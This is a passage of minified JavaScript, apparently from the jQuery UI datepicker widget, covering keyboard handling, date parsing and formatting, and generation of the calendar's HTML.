            return 2 === arguments.length && "string" == typeof t ? "defaults" === t ? A.extend({}, A.datepicker._defaults) : I ? "all" === t ? A.extend({}, I.settings) : this._get(I, t) : null : (r = t || {}, "string" == typeof t && (r = {}, r[t] = i), void(I && (this._curInst === I && this._hideDatepicker(), o = this._getDateDatepicker(e, !0), s = this._getMinMaxDate(I, "min"), a = this._getMinMaxDate(I, "max"), n(I.settings, r), null !== s && void 0 !== r.dateFormat && void 0 === r.minDate && (I.settings.minDate = this._formatDate(I, s)), null !== a && void 0 !== r.dateFormat && void 0 === r.maxDate && (I.settings.maxDate = this._formatDate(I, a)), "disabled" in r && (r.disabled ? this._disableDatepicker(e) : this._enableDatepicker(e)), this._attachments(A(e), I), this._autoSize(I), this._setDate(I, o), this._updateAlternate(I), this._updateDatepicker(I))))
        },
        _changeDatepicker: function(A, e, t) {
            this._optionDatepicker(A, e, t)
        },
        _refreshDatepicker: function(A) {
            var e = this._getInst(A);
            e && this._updateDatepicker(e)
        },
        _setDateDatepicker: function(A, e) {
            var t = this._getInst(A);
            t && (this._setDate(t, e), this._updateDatepicker(t), this._updateAlternate(t))
        },
        _getDateDatepicker: function(A, e) {
            var t = this._getInst(A);
            return t && !t.inline && this._setDateFromField(t, e), t ? this._getDate(t) : null
        },
        _doKeyDown: function(e) {
            var t, i, r, o = A.datepicker._getInst(e.target),
                n = !0,
                s = o.dpDiv.is(".ui-datepicker-rtl");
            if (o._keyEvent = !0, A.datepicker._datepickerShowing) switch (e.keyCode) {
                case 9:
                    A.datepicker._hideDatepicker(), n = !1;
                    break;
                case 13:
                    return r = A("td." + A.datepicker._dayOverClass + ":not(." + A.datepicker._currentClass + ")", o.dpDiv), r[0] && A.datepicker._selectDay(e.target, o.selectedMonth, o.selectedYear, r[0]), t = A.datepicker._get(o, "onSelect"), t ? (i = A.datepicker._formatDate(o), t.apply(o.input ? o.input[0] : null, [i, o])) : A.datepicker._hideDatepicker(), !1;
                case 27:
                    A.datepicker._hideDatepicker();
                    break;
                case 33:
                    A.datepicker._adjustDate(e.target, e.ctrlKey ? -A.datepicker._get(o, "stepBigMonths") : -A.datepicker._get(o, "stepMonths"), "M");
                    break;
                case 34:
                    A.datepicker._adjustDate(e.target, e.ctrlKey ? +A.datepicker._get(o, "stepBigMonths") : +A.datepicker._get(o, "stepMonths"), "M");
                    break;
                case 35:
                    (e.ctrlKey || e.metaKey) && A.datepicker._clearDate(e.target), n = e.ctrlKey || e.metaKey;
                    break;
                case 36:
                    (e.ctrlKey || e.metaKey) && A.datepicker._gotoToday(e.target), n = e.ctrlKey || e.metaKey;
                    break;
                case 37:
                    (e.ctrlKey || e.metaKey) && A.datepicker._adjustDate(e.target, s ? 1 : -1, "D"), n = e.ctrlKey || e.metaKey, e.originalEvent.altKey && A.datepicker._adjustDate(e.target, e.ctrlKey ? -A.datepicker._get(o, "stepBigMonths") : -A.datepicker._get(o, "stepMonths"), "M");
                    break;
                case 38:
                    (e.ctrlKey || e.metaKey) && A.datepicker._adjustDate(e.target, -7, "D"), n = e.ctrlKey || e.metaKey;
                    break;
                case 39:
                    (e.ctrlKey || e.metaKey) && A.datepicker._adjustDate(e.target, s ? -1 : 1, "D"), n = e.ctrlKey || e.metaKey, e.originalEvent.altKey && A.datepicker._adjustDate(e.target, e.ctrlKey ? +A.datepicker._get(o, "stepBigMonths") : +A.datepicker._get(o, "stepMonths"), "M");
                    break;
                case 40:
                    (e.ctrlKey || e.metaKey) && A.datepicker._adjustDate(e.target, 7, "D"), n = e.ctrlKey || e.metaKey;
                    break;
                default:
                    n = !1
            } else 36 === e.keyCode && e.ctrlKey ? A.datepicker._showDatepicker(this) : n = !1;
            n && (e.preventDefault(), e.stopPropagation())
        },
        _doKeyPress: function(e) {
            var t, i, r = A.datepicker._getInst(e.target);
            return A.datepicker._get(r, "constrainInput") ? (t = A.datepicker._possibleChars(A.datepicker._get(r, "dateFormat")), i = String.fromCharCode(null == e.charCode ? e.keyCode : e.charCode), e.ctrlKey || e.metaKey || " " > i || !t || t.indexOf(i) > -1) : void 0
        },
        _doKeyUp: function(e) {
            var t = A.datepicker._getInst(e.target);
            if (t.input.val() !== t.lastVal) try {
                A.datepicker.parseDate(A.datepicker._get(t, "dateFormat"), t.input ? t.input.val() : null, A.datepicker._getFormatConfig(t)) && (A.datepicker._setDateFromField(t), A.datepicker._updateAlternate(t), A.datepicker._updateDatepicker(t))
            } catch (A) {}
            return !0
        },
        _showDatepicker: function(e) {
            if (e = e.target || e, "input" !== e.nodeName.toLowerCase() && (e = A("input", e.parentNode)[0]), !A.datepicker._isDisabledDatepicker(e) && A.datepicker._lastInput !== e) {
                var i, r, o, s, a, I, l;
                i = A.datepicker._getInst(e), A.datepicker._curInst && A.datepicker._curInst !== i && (A.datepicker._curInst.dpDiv.stop(!0, !0), i && A.datepicker._datepickerShowing && A.datepicker._hideDatepicker(A.datepicker._curInst.input[0])), r = A.datepicker._get(i, "beforeShow"), !1 !== (o = r ? r.apply(e, [e, i]) : {}) && (n(i.settings, o), i.lastVal = null, A.datepicker._lastInput = e, A.datepicker._setDateFromField(i), A.datepicker._inDialog && (e.value = ""), A.datepicker._pos || (A.datepicker._pos = A.datepicker._findPos(e), A.datepicker._pos[1] += e.offsetHeight), s = !1, A(e).parents().each(function() {
                    return !(s |= "fixed" === A(this).css("position"))
                }), a = {
                    left: A.datepicker._pos[0],
                    top: A.datepicker._pos[1]
                }, A.datepicker._pos = null, i.dpDiv.empty(), i.dpDiv.css({
                    position: "absolute",
                    display: "block",
                    top: "-1000px"
                }), A.datepicker._updateDatepicker(i), a = A.datepicker._checkOffset(i, a, s), i.dpDiv.css({
                    position: A.datepicker._inDialog && A.blockUI ? "static" : s ? "fixed" : "absolute",
                    display: "none",
                    left: a.left + "px",
                    top: a.top + "px"
                }), i.inline || (I = A.datepicker._get(i, "showAnim"), l = A.datepicker._get(i, "duration"), i.dpDiv.css("z-index", t(A(e)) + 1), A.datepicker._datepickerShowing = !0, A.effects && A.effects.effect[I] ? i.dpDiv.show(I, A.datepicker._get(i, "showOptions"), l) : i.dpDiv[I || "show"](I ? l : null), A.datepicker._shouldFocusInput(i) && i.input.trigger("focus"), A.datepicker._curInst = i))
            }
        },
        _updateDatepicker: function(e) {
            this.maxRows = 4, g = e, e.dpDiv.empty().append(this._generateHTML(e)), this._attachHandlers(e);
            var t, i = this._getNumberOfMonths(e),
                r = i[1],
                n = e.dpDiv.find("." + this._dayOverClass + " a");
            n.length > 0 && o.apply(n.get(0)), e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""), r > 1 && e.dpDiv.addClass("ui-datepicker-multi-" + r).css("width", 17 * r + "em"), e.dpDiv[(1 !== i[0] || 1 !== i[1] ? "add" : "remove") + "Class"]("ui-datepicker-multi"), e.dpDiv[(this._get(e, "isRTL") ? "add" : "remove") + "Class"]("ui-datepicker-rtl"), e === A.datepicker._curInst && A.datepicker._datepickerShowing && A.datepicker._shouldFocusInput(e) && e.input.trigger("focus"), e.yearshtml && (t = e.yearshtml, setTimeout(function() {
                t === e.yearshtml && e.yearshtml && e.dpDiv.find("select.ui-datepicker-year:first").replaceWith(e.yearshtml), t = e.yearshtml = null
            }, 0))
        },
        _shouldFocusInput: function(A) {
            return A.input && A.input.is(":visible") && !A.input.is(":disabled") && !A.input.is(":focus")
        },
        _checkOffset: function(e, t, i) {
            var r = e.dpDiv.outerWidth(),
                o = e.dpDiv.outerHeight(),
                n = e.input ? e.input.outerWidth() : 0,
                s = e.input ? e.input.outerHeight() : 0,
                a = document.documentElement.clientWidth + (i ? 0 : A(document).scrollLeft()),
                I = document.documentElement.clientHeight + (i ? 0 : A(document).scrollTop());
            return t.left -= this._get(e, "isRTL") ? r - n : 0, t.left -= i && t.left === e.input.offset().left ? A(document).scrollLeft() : 0, t.top -= i && t.top === e.input.offset().top + s ? A(document).scrollTop() : 0, t.left -= Math.min(t.left, t.left + r > a && a > r ? Math.abs(t.left + r - a) : 0), t.top -= Math.min(t.top, t.top + o > I && I > o ? Math.abs(o + s) : 0), t
        },
        _findPos: function(e) {
            for (var t, i = this._getInst(e), r = this._get(i, "isRTL"); e && ("hidden" === e.type || 1 !== e.nodeType || A.expr.filters.hidden(e));) e = e[r ? "previousSibling" : "nextSibling"];
            return t = A(e).offset(), [t.left, t.top]
        },
        _hideDatepicker: function(e) {
            var t, i, r, o, n = this._curInst;
            !n || e && n !== A.data(e, "datepicker") || this._datepickerShowing && (t = this._get(n, "showAnim"), i = this._get(n, "duration"), r = function() {
                A.datepicker._tidyDialog(n)
            }, A.effects && (A.effects.effect[t] || A.effects[t]) ? n.dpDiv.hide(t, A.datepicker._get(n, "showOptions"), i, r) : n.dpDiv["slideDown" === t ? "slideUp" : "fadeIn" === t ? "fadeOut" : "hide"](t ? i : null, r), t || r(), this._datepickerShowing = !1, o = this._get(n, "onClose"), o && o.apply(n.input ? n.input[0] : null, [n.input ? n.input.val() : "", n]), this._lastInput = null, this._inDialog && (this._dialogInput.css({
                position: "absolute",
                left: "0",
                top: "-100px"
            }), A.blockUI && (A.unblockUI(), A("body").append(this.dpDiv))), this._inDialog = !1)
        },
        _tidyDialog: function(A) {
            A.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")
        },
        _checkExternalClick: function(e) {
            if (A.datepicker._curInst) {
                var t = A(e.target),
                    i = A.datepicker._getInst(t[0]);
                (t[0].id !== A.datepicker._mainDivId && 0 === t.parents("#" + A.datepicker._mainDivId).length && !t.hasClass(A.datepicker.markerClassName) && !t.closest("." + A.datepicker._triggerClass).length && A.datepicker._datepickerShowing && (!A.datepicker._inDialog || !A.blockUI) || t.hasClass(A.datepicker.markerClassName) && A.datepicker._curInst !== i) && A.datepicker._hideDatepicker()
            }
        },
        _adjustDate: function(e, t, i) {
            var r = A(e),
                o = this._getInst(r[0]);
            this._isDisabledDatepicker(r[0]) || (this._adjustInstDate(o, t + ("M" === i ? this._get(o, "showCurrentAtPos") : 0), i), this._updateDatepicker(o))
        },
        _gotoToday: function(e) {
            var t, i = A(e),
                r = this._getInst(i[0]);
            this._get(r, "gotoCurrent") && r.currentDay ? (r.selectedDay = r.currentDay, r.drawMonth = r.selectedMonth = r.currentMonth, r.drawYear = r.selectedYear = r.currentYear) : (t = new Date, r.selectedDay = t.getDate(), r.drawMonth = r.selectedMonth = t.getMonth(), r.drawYear = r.selectedYear = t.getFullYear()), this._notifyChange(r), this._adjustDate(i)
        },
        _selectMonthYear: function(e, t, i) {
            var r = A(e),
                o = this._getInst(r[0]);
            o["selected" + ("M" === i ? "Month" : "Year")] = o["draw" + ("M" === i ? "Month" : "Year")] = parseInt(t.options[t.selectedIndex].value, 10), this._notifyChange(o), this._adjustDate(r)
        },
        _selectDay: function(e, t, i, r) {
            var o, n = A(e);
            A(r).hasClass(this._unselectableClass) || this._isDisabledDatepicker(n[0]) || (o = this._getInst(n[0]), o.selectedDay = o.currentDay = A("a", r).html(), o.selectedMonth = o.currentMonth = t, o.selectedYear = o.currentYear = i, this._selectDate(e, this._formatDate(o, o.currentDay, o.currentMonth, o.currentYear)))
        },
        _clearDate: function(e) {
            var t = A(e);
            this._selectDate(t, "")
        },
        _selectDate: function(e, t) {
            var i, r = A(e),
                o = this._getInst(r[0]);
            t = null != t ? t : this._formatDate(o), o.input && o.input.val(t), this._updateAlternate(o), i = this._get(o, "onSelect"), i ? i.apply(o.input ? o.input[0] : null, [t, o]) : o.input && o.input.trigger("change"), o.inline ? this._updateDatepicker(o) : (this._hideDatepicker(), this._lastInput = o.input[0], "object" != typeof o.input[0] && o.input.trigger("focus"), this._lastInput = null)
        },
        _updateAlternate: function(e) {
            var t, i, r, o = this._get(e, "altField");
            o && (t = this._get(e, "altFormat") || this._get(e, "dateFormat"), i = this._getDate(e), r = this.formatDate(t, i, this._getFormatConfig(e)), A(o).val(r))
        },
        noWeekends: function(A) {
            var e = A.getDay();
            return [e > 0 && 6 > e, ""]
        },
        iso8601Week: function(A) {
            var e, t = new Date(A.getTime());
            return t.setDate(t.getDate() + 4 - (t.getDay() || 7)), e = t.getTime(), t.setMonth(0), t.setDate(1), Math.floor(Math.round((e - t) / 864e5) / 7) + 1
        },
        parseDate: function(e, t, i) {
            if (null == e || null == t) throw "Invalid arguments";
            if ("" === (t = "object" == typeof t ? "" + t : t + "")) return null;
            var r, o, n, s, a = 0,
                I = (i ? i.shortYearCutoff : null) || this._defaults.shortYearCutoff,
                l = "string" != typeof I ? I : (new Date).getFullYear() % 100 + parseInt(I, 10),
                c = (i ? i.dayNamesShort : null) || this._defaults.dayNamesShort,
                B = (i ? i.dayNames : null) || this._defaults.dayNames,
                g = (i ? i.monthNamesShort : null) || this._defaults.monthNamesShort,
                h = (i ? i.monthNames : null) || this._defaults.monthNames,
                E = -1,
                u = -1,
                Q = -1,
                d = -1,
                f = !1,
                S = function(A) {
                    var t = e.length > r + 1 && e.charAt(r + 1) === A;
                    return t && r++, t
                },
                w = function(A) {
                    var e = S(A),
                        i = "@" === A ? 14 : "!" === A ? 20 : "y" === A && e ? 4 : "o" === A ? 3 : 2,
                        r = "y" === A ? i : 1,
                        o = RegExp("^\\d{" + r + "," + i + "}"),
                        n = t.substring(a).match(o);
                    if (!n) throw "Missing number at position " + a;
                    return a += n[0].length, parseInt(n[0], 10)
                },
                p = function(e, i, r) {
                    var o = -1,
                        n = A.map(S(e) ? r : i, function(A, e) {
                            return [
                                [e, A]
                            ]
                        }).sort(function(A, e) {
                            return -(A[1].length - e[1].length)
                        });
                    if (A.each(n, function(A, e) {
                            var i = e[1];
                            return t.substr(a, i.length).toLowerCase() === i.toLowerCase() ? (o = e[0], a += i.length, !1) : void 0
                        }), -1 !== o) return o + 1;
                    throw "Unknown name at position " + a
                },
                C = function() {
                    if (t.charAt(a) !== e.charAt(r)) throw "Unexpected literal at position " + a;
                    a++
                };
            for (r = 0; e.length > r; r++)
                if (f) "'" !== e.charAt(r) || S("'") ? C() : f = !1;
                else switch (e.charAt(r)) {
                    case "d":
                        Q = w("d");
                        break;
                    case "D":
                        p("D", c, B);
                        break;
                    case "o":
                        d = w("o");
                        break;
                    case "m":
                        u = w("m");
                        break;
                    case "M":
                        u = p("M", g, h);
                        break;
                    case "y":
                        E = w("y");
                        break;
                    case "@":
                        s = new Date(w("@")), E = s.getFullYear(), u = s.getMonth() + 1, Q = s.getDate();
                        break;
                    case "!":
                        s = new Date((w("!") - this._ticksTo1970) / 1e4), E = s.getFullYear(), u = s.getMonth() + 1, Q = s.getDate();
                        break;
                    case "'":
                        S("'") ? C() : f = !0;
                        break;
                    default:
                        C()
                }
            if (t.length > a && (n = t.substr(a), !/^\s+/.test(n))) throw "Extra/unparsed characters found in date: " + n;
            if (-1 === E ? E = (new Date).getFullYear() : 100 > E && (E += (new Date).getFullYear() - (new Date).getFullYear() % 100 + (l >= E ? 0 : -100)), d > -1)
                for (u = 1, Q = d; !((o = this._getDaysInMonth(E, u - 1)) >= Q);) u++, Q -= o;
            if (s = this._daylightSavingAdjust(new Date(E, u - 1, Q)), s.getFullYear() !== E || s.getMonth() + 1 !== u || s.getDate() !== Q) throw "Invalid date";
            return s
        },
        ATOM: "yy-mm-dd",
        COOKIE: "D, dd M yy",
        ISO_8601: "yy-mm-dd",
        RFC_822: "D, d M y",
        RFC_850: "DD, dd-M-y",
        RFC_1036: "D, d M y",
        RFC_1123: "D, d M yy",
        RFC_2822: "D, d M yy",
        RSS: "D, d M y",
        TICKS: "!",
        TIMESTAMP: "@",
        W3C: "yy-mm-dd",
        _ticksTo1970: 864e9 * (718685 + Math.floor(492.5) - Math.floor(19.7) + Math.floor(4.925)),
        formatDate: function(A, e, t) {
            if (!e) return "";
            var i, r = (t ? t.dayNamesShort : null) || this._defaults.dayNamesShort,
                o = (t ? t.dayNames : null) || this._defaults.dayNames,
                n = (t ? t.monthNamesShort : null) || this._defaults.monthNamesShort,
                s = (t ? t.monthNames : null) || this._defaults.monthNames,
                a = function(e) {
                    var t = A.length > i + 1 && A.charAt(i + 1) === e;
                    return t && i++, t
                },
                I = function(A, e, t) {
                    var i = "" + e;
                    if (a(A))
                        for (; t > i.length;) i = "0" + i;
                    return i
                },
                l = function(A, e, t, i) {
                    return a(A) ? i[e] : t[e]
                },
                c = "",
                B = !1;
            if (e)
                for (i = 0; A.length > i; i++)
                    if (B) "'" !== A.charAt(i) || a("'") ? c += A.charAt(i) : B = !1;
                    else switch (A.charAt(i)) {
                        case "d":
                            c += I("d", e.getDate(), 2);
                            break;
                        case "D":
                            c += l("D", e.getDay(), r, o);
                            break;
                        case "o":
                            c += I("o", Math.round((new Date(e.getFullYear(), e.getMonth(), e.getDate()).getTime() - new Date(e.getFullYear(), 0, 0).getTime()) / 864e5), 3);
                            break;
                        case "m":
                            c += I("m", e.getMonth() + 1, 2);
                            break;
                        case "M":
                            c += l("M", e.getMonth(), n, s);
                            break;
                        case "y":
                            c += a("y") ? e.getFullYear() : (10 > e.getFullYear() % 100 ? "0" : "") + e.getFullYear() % 100;
                            break;
                        case "@":
                            c += e.getTime();
                            break;
                        case "!":
                            c += 1e4 * e.getTime() + this._ticksTo1970;
                            break;
                        case "'":
                            a("'") ? c += "'" : B = !0;
                            break;
                        default:
                            c += A.charAt(i)
                    }
            return c
        },
        _possibleChars: function(A) {
            var e, t = "",
                i = !1,
                r = function(t) {
                    var i = A.length > e + 1 && A.charAt(e + 1) === t;
                    return i && e++, i
                };
            for (e = 0; A.length > e; e++)
                if (i) "'" !== A.charAt(e) || r("'") ? t += A.charAt(e) : i = !1;
                else switch (A.charAt(e)) {
                    case "d":
                    case "m":
                    case "y":
                    case "@":
                        t += "0123456789";
                        break;
                    case "D":
                    case "M":
                        return null;
                    case "'":
                        r("'") ? t += "'" : i = !0;
                        break;
                    default:
                        t += A.charAt(e)
                }
            return t
        },
        _get: function(A, e) {
            return void 0 !== A.settings[e] ? A.settings[e] : this._defaults[e]
        },
        _setDateFromField: function(A, e) {
            if (A.input.val() !== A.lastVal) {
                var t = this._get(A, "dateFormat"),
                    i = A.lastVal = A.input ? A.input.val() : null,
                    r = this._getDefaultDate(A),
                    o = r,
                    n = this._getFormatConfig(A);
                try {
                    o = this.parseDate(t, i, n) || r
                } catch (A) {
                    i = e ? "" : i
                }
                A.selectedDay = o.getDate(), A.drawMonth = A.selectedMonth = o.getMonth(), A.drawYear = A.selectedYear = o.getFullYear(), A.currentDay = i ? o.getDate() : 0, A.currentMonth = i ? o.getMonth() : 0, A.currentYear = i ? o.getFullYear() : 0, this._adjustInstDate(A)
            }
        },
        _getDefaultDate: function(A) {
            return this._restrictMinMax(A, this._determineDate(A, this._get(A, "defaultDate"), new Date))
        },
        _determineDate: function(e, t, i) {
            var r = null == t || "" === t ? i : "string" == typeof t ? function(t) {
                try {
                    return A.datepicker.parseDate(A.datepicker._get(e, "dateFormat"), t, A.datepicker._getFormatConfig(e))
                } catch (A) {}
                for (var i = (t.toLowerCase().match(/^c/) ? A.datepicker._getDate(e) : null) || new Date, r = i.getFullYear(), o = i.getMonth(), n = i.getDate(), s = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g, a = s.exec(t); a;) {
                    switch (a[2] || "d") {
                        case "d":
                        case "D":
                            n += parseInt(a[1], 10);
                            break;
                        case "w":
                        case "W":
                            n += 7 * parseInt(a[1], 10);
                            break;
                        case "m":
                        case "M":
                            o += parseInt(a[1], 10), n = Math.min(n, A.datepicker._getDaysInMonth(r, o));
                            break;
                        case "y":
                        case "Y":
                            r += parseInt(a[1], 10), n = Math.min(n, A.datepicker._getDaysInMonth(r, o))
                    }
                    a = s.exec(t)
                }
                return new Date(r, o, n)
            }(t) : "number" == typeof t ? isNaN(t) ? i : function(A) {
                var e = new Date;
                return e.setDate(e.getDate() + A), e
            }(t) : new Date(t.getTime());
            return r = r && "Invalid Date" == "" + r ? i : r, r && (r.setHours(0), r.setMinutes(0), r.setSeconds(0), r.setMilliseconds(0)), this._daylightSavingAdjust(r)
        },
        _daylightSavingAdjust: function(A) {
            return A ? (A.setHours(A.getHours() > 12 ? A.getHours() + 2 : 0), A) : null
        },
        _setDate: function(A, e, t) {
            var i = !e,
                r = A.selectedMonth,
                o = A.selectedYear,
                n = this._restrictMinMax(A, this._determineDate(A, e, new Date));
            A.selectedDay = A.currentDay = n.getDate(), A.drawMonth = A.selectedMonth = A.currentMonth = n.getMonth(), A.drawYear = A.selectedYear = A.currentYear = n.getFullYear(), r === A.selectedMonth && o === A.selectedYear || t || this._notifyChange(A), this._adjustInstDate(A), A.input && A.input.val(i ? "" : this._formatDate(A))
        },
        _getDate: function(A) {
            return !A.currentYear || A.input && "" === A.input.val() ? null : this._daylightSavingAdjust(new Date(A.currentYear, A.currentMonth, A.currentDay))
        },
        _attachHandlers: function(e) {
            var t = this._get(e, "stepMonths"),
                i = "#" + e.id.replace(/\\\\/g, "\\");
            e.dpDiv.find("[data-handler]").map(function() {
                var e = {
                    prev: function() {
                        A.datepicker._adjustDate(i, -t, "M")
                    },
                    next: function() {
                        A.datepicker._adjustDate(i, +t, "M")
                    },
                    hide: function() {
                        A.datepicker._hideDatepicker()
                    },
                    today: function() {
                        A.datepicker._gotoToday(i)
                    },
                    selectDay: function() {
                        return A.datepicker._selectDay(i, +this.getAttribute("data-month"), +this.getAttribute("data-year"), this), !1
                    },
                    selectMonth: function() {
                        return A.datepicker._selectMonthYear(i, this, "M"), !1
                    },
                    selectYear: function() {
                        return A.datepicker._selectMonthYear(i, this, "Y"), !1
                    }
                };
                A(this).on(this.getAttribute("data-event"), e[this.getAttribute("data-handler")])
            })
        },
        _generateHTML: function(A) {
            var e, t, i, r, o, n, s, a, I, l, c, B, g, h, E, u, Q, d, f, S, w, p, C, D, v, m, M, P, y, F, L, k, J, j, N, U, b, R, Y, x = new Date,
                z = this._daylightSavingAdjust(new Date(x.getFullYear(), x.getMonth(), x.getDate())),
                G = this._get(A, "isRTL"),
                T = this._get(A, "showButtonPanel"),
                X = this._get(A, "hideIfNoPrevNext"),
                H = this._get(A, "navigationAsDateFormat"),
                V = this._getNumberOfMonths(A),
                O = this._get(A, "showCurrentAtPos"),
                Z = this._get(A, "stepMonths"),
                W = 1 !== V[0] || 1 !== V[1],
                K = this._daylightSavingAdjust(A.currentDay ? new Date(A.currentYear, A.currentMonth, A.currentDay) : new Date(9999, 9, 9)),
                _ = this._getMinMaxDate(A, "min"),
                q = this._getMinMaxDate(A, "max"),
                $ = A.drawMonth - O,
                AA = A.drawYear;
            if (0 > $ && ($ += 12, AA--), q)
                for (e = this._daylightSavingAdjust(new Date(q.getFullYear(), q.getMonth() - V[0] * V[1] + 1, q.getDate())), e = _ && _ > e ? _ : e; this._daylightSavingAdjust(new Date(AA, $, 1)) > e;) 0 > --$ && ($ = 11, AA--);
            for (A.drawMonth = $, A.drawYear = AA, t = this._get(A, "prevText"), t = H ? this.formatDate(t, this._daylightSavingAdjust(new Date(AA, $ - Z, 1)), this._getFormatConfig(A)) : t, i = this._canAdjustMonth(A, -1, AA, $) ? "<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='" + t + "'><span class='ui-icon ui-icon-circle-triangle-" + (G ? "e" : "w") + "'>" + t + "</span></a>" : X ? "" : "<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='" + t + "'><span class='ui-icon ui-icon-circle-triangle-" + (G ? "e" : "w") + "'>" + t + "</span></a>", r = this._get(A, "nextText"), r = H ? this.formatDate(r, this._daylightSavingAdjust(new Date(AA, $ + Z, 1)), this._getFormatConfig(A)) : r, o = this._canAdjustMonth(A, 1, AA, $) ? "<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='" + r + "'><span class='ui-icon ui-icon-circle-triangle-" + (G ? "w" : "e") + "'>" + r + "</span></a>" : X ? "" : "<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='" + r + "'><span class='ui-icon ui-icon-circle-triangle-" + (G ? "w" : "e") + "'>" + r + "</span></a>", n = this._get(A, "currentText"), s = this._get(A, "gotoCurrent") && A.currentDay ? K : z, n = H ? this.formatDate(n, s, this._getFormatConfig(A)) : n, a = A.inline ? "" : "<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>" + this._get(A, "closeText") + "</button>", I = T ? "<div class='ui-datepicker-buttonpane ui-widget-content'>" + (G ? a : "") + (this._isInRange(A, s) ? "<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>" + n + "</button>" : "") + (G ? "" : a) + "</div>" : "", l = parseInt(this._get(A, "firstDay"), 10), l = isNaN(l) ? 0 : l, c = this._get(A, "showWeek"), B = this._get(A, "dayNames"), g = this._get(A, "dayNamesMin"), h = this._get(A, "monthNames"), E = this._get(A, "monthNamesShort"), u = this._get(A, "beforeShowDay"), Q = this._get(A, "showOtherMonths"), d = this._get(A, "selectOtherMonths"), f = this._getDefaultDate(A), S = "", p = 0; V[0] > p; p++) {
                for (C = "", this.maxRows = 4, D = 0; V[1] > D; D++) {
                    if (v = this._daylightSavingAdjust(new Date(AA, $, A.selectedDay)), m = " ui-corner-all", M = "", W) {
                        if (M += "<div class='ui-datepicker-group", V[1] > 1) switch (D) {
                            case 0:
                                M += " ui-datepicker-group-first", m = " ui-corner-" + (G ? "right" : "left");
                                break;
                            case V[1] - 1:
                                M += " ui-datepicker-group-last", m = " ui-corner-" + (G ? "left" : "right");
                                break;
                            default:
                                M += " ui-datepicker-group-middle", m = ""
                        }
                        M += "'>"
                    }
                    for (M += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + m + "'>" + (/all|left/.test(m) && 0 === p ? G ? o : i : "") + (/all|right/.test(m) && 0 === p ? G ? i : o : "") + this._generateMonthYearHeader(A, $, AA, _, q, p > 0 || D > 0, h, E) + "</div><table class='ui-datepicker-calendar'><thead><tr>", P = c ? "<th class='ui-datepicker-week-col'>" + this._get(A, "weekHeader") + "</th>" : "", w = 0; 7 > w; w++) y = (w + l) % 7, P += "<th scope='col'" + ((w + l + 6) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "") + "><span title='" + B[y] + "'>" + g[y] + "</span></th>";
                    for (M += P + "</tr></thead><tbody>", F = this._getDaysInMonth(AA, $), AA === A.selectedYear && $ === A.selectedMonth && (A.selectedDay = Math.min(A.selectedDay, F)), L = (this._getFirstDayOfMonth(AA, $) - l + 7) % 7, k = Math.ceil((L + F) / 7), J = W && this.maxRows > k ? this.maxRows : k, this.maxRows = J, j = this._daylightSavingAdjust(new Date(AA, $, 1 - L)), N = 0; J > N; N++) {
                        for (M += "<tr>", U = c ? "<td class='ui-datepicker-week-col'>" + this._get(A, "calculateWeek")(j) + "</td>" : "", w = 0; 7 > w; w++) b = u ? u.apply(A.input ? A.input[0] : null, [j]) : [!0, ""], R = j.getMonth() !== $, Y = R && !d || !b[0] || _ && _ > j || q && j > q, U += "<td class='" + ((w + l + 6) % 7 >= 5 ? " ui-datepicker-week-end" : "") + (R ? " ui-datepicker-other-month" : "") + (j.getTime() === v.getTime() && $ === A.selectedMonth && A._keyEvent || f.getTime() === j.getTime() && f.getTime() === v.getTime() ? " " + this._dayOverClass : "") + (Y ? " " + this._unselectableClass + " ui-state-disabled" : "") + (R && !Q ? "" : " " + b[1] + (j.getTime() === K.getTime() ? " " + this._currentClass : "") + (j.getTime() === z.getTime() ? " ui-datepicker-today" : "")) + "'" + (R && !Q || !b[2] ? "" : " title='" + b[2].replace(/'/g, "&#39;") + "'") + (Y ? "" : " data-handler='selectDay' data-event='click' data-month='" + j.getMonth() + "' data-year='" + j.getFullYear() + "'") + ">" + (R && !Q ? "&#xa0;" : Y ? "<span class='ui-state-default'>" + j.getDate() + "</span>" : "<a class='ui-state-default" + (j.getTime() === z.getTime() ? " ui-state-highlight" : "") + (j.getTime() === K.getTime() ? " ui-state-active" : "") + (R ? " ui-priority-secondary" : "") + "' href='#'>" + j.getDate() + "</a>") + "</td>", j.setDate(j.getDate() + 1), j = this._daylightSavingAdjust(j);
                        M += U + "</tr>"
                    }
                    $++, $ > 11 && ($ = 0, AA++), M += "</tbody></table>" + (W ? "</div>" + (V[0] > 0 && D === V[1] - 1 ? "<div class='ui-datepicker-row-break'></div>" : "") : ""), C += M
                }
                S += C
            }
            return S += I, A._keyEvent = !1, S
        },
        _generateMonthYearHeader: function(A, e, t, i, r, o, n, s) {
            var a, I, l, c, B, g, h, E, u = this._get(A, "changeMonth"),
                Q = this._get(A, "changeYear"),
                d = this._get(A, "showMonthAfterYear"),
                f = "<div class='ui-datepicker-title'>",
                S = "";
            if (o || !u) S += "<span class='ui-datepicker-month'>" + n[e] + "</span>";
            else {
                for (a = i && i.getFullYear() === t, I = r && r.getFullYear() === t, S += "<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>", l = 0; 12 > l; l++)(!a || l >= i.getMonth()) && (!I || r.getMonth() >= l) && (S += "<option value='" + l + "'" + (l === e ? " selected='selected'" : "") + ">" + s[l] + "</option>");
                S += "</select>"
            }
            if (d || (f += S + (!o && u && Q ? "" : "&#xa0;")), !A.yearshtml)
                if (A.yearshtml = "", o || !Q) f += "<span class='ui-datepicker-year'>" + t + "</span>";
                else {
                    for (c = this._get(A, "yearRange").split(":"), B = (new Date).getFullYear(), g = function(A) {
                            var e = A.match(/c[+\-].*/) ? t + parseInt(A.substring(1), 10) : A.match(/[+\-].*/) ? B + parseInt(A, 10) : parseInt(A, 10);
                            return isNaN(e) ? B : e
